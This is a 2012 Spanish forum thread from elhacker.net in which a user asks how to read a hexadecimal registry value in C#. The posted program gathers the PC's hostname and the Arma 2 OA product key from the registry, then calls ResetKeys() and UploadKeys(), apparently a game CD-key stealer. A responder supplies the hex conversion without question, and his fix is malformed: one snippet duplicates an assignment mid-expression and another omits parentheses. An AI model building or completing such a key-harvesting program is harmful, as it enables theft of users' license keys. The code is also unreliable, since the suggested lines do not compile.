elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  C# Coger valor de un Regsitro Hexadecimal
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: C# Coger valor de un Regsitro Hexadecimal  (Leído 2,601 veces)
Jacablaca

Desconectado Desconectado

Mensajes: 3


Ver Perfil
C# Coger valor de un Regsitro Hexadecimal
« en: 9 Noviembre 2012, 16:23 pm »

Hola y muy buenas!

Soy nuevo en esto de la programacion pero ya llevo algun tiempo leyendo y haciendo pruebas por mi parte, pero ahora que ya se algo sobre C# me he propuesto hacer un programa en Consola. El programa basicamente lo que hace es que coge el valor de una key del registro.
En principio todo el codigo esta bien programado, el problema radica en que el valor que yo quiero coger es un valor hexadecimal y no se como hacer especificamente eso.
Para que me entiendan mejor les dejo el fragmento del codigo que se encarga de coger el valor del registro:

        static void Main(string[] args)
        {
            keys = keys + "PC Name - " + Dns.GetHostName() + "\n";
            GetKeys();
            ResetKeys();
            UploadKeys();
        }

        static void GetKeys()
        {
            RegistryKey RegKey;
            RegKey = Registry.LocalMachine.OpenSubKey("software\\wow6432node\\bohemia interactive studio\\arma 2 oa", true);
            if (RegKey == null) // does registry exist
            {
                keys = keys + "Arma 2 OA not installed\n";
            }
            else
            {
                keys = keys + "Arma 2 OA - " + RegKey.GetValue("key"); //aqui es donde esta el problema
            }
        }

Espero que me puedan ayudar.

Muchas gracias de antemano, un saludo. Jacablaca


En línea

Jacablaca

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: C# Coger valor de un Regsitro Hexadecimal
« Respuesta #1 en: 9 Noviembre 2012, 19:01 pm »

por favor responder  :-(


En línea

Keyen Night


Desconectado Desconectado

Mensajes: 496


Nothing


Ver Perfil
Re: C# Coger valor de un Regsitro Hexadecimal
« Respuesta #2 en: 9 Noviembre 2012, 22:09 pm »

¿Cual es el error exactamente?

Cuando usas '+' para combinar cadenas de texto estas deben ser de tipo String ambas para evitar problemas, estas obteniendo un número y el programa intenta sumar ese numero con la cadena que es String, puede ser un error, la forma correcta es:

Código
  1. keys = keys + "Arma 2 OA - " + RegKey.GetValue("key").ToString;

El valor obtenido por .GetValue es un número en forma Decimal si quieres expresarlo en Hexadecimal debes hacer ToString("X"), si el valor es soportado por Int32, déjalo Convert.ToInt32 sino coloca Int64...

Código
  1. keys = keys + "Arma 2 OA - " + keys = keys + "Arma 2 OA - " + Convert.ToInt32(RegKey.GetValue("key")).ToString("X");

No desesperes siempre alguien te contestara y cuando quieras agregar algo modifica el tema principal en vez de hacer doble post. ;)
« Última modificación: 9 Noviembre 2012, 22:23 pm por Keyen Night » En línea

La Fé Mueve Montañas...
                                    ...De Dinero

La programación es más que un trabajo es más que un hobby es una pasión...
Jacablaca

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: C# Coger valor de un Regsitro Hexadecimal
« Respuesta #3 en: 9 Noviembre 2012, 22:11 pm »

Gracias por tu respuesta.

Voy a probar lo que dices haber que tal  ;D

Un saludo
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines